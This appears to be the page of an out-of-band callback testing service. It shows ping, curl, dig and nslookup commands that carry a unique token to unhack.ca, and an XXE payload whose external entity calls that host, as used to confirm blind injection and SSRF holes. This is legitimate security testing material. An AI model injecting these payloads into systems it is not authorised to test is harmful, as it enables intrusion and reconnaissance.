$ ping -c1 -p 004f5098f57e49dbb883aaa1bc344400 unhack.ca
 
$ curl http://unhack.ca/p/4f5098f57e49dbb883aaa1bc3444
 
$ dig 4f5098f57e49dbb883aaa1bc3444 @unhack.ca
 
$ dig 4f5098f57e49dbb883aaa1bc3444.ns.unhack.ca
 
C:\> nslookup 4f5098f57e49dbb883aaa1bc3444 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4f5098f57e49dbb883aaa1bc3444">]>
    <foo>&xxe;</foo>
Waiting for ping...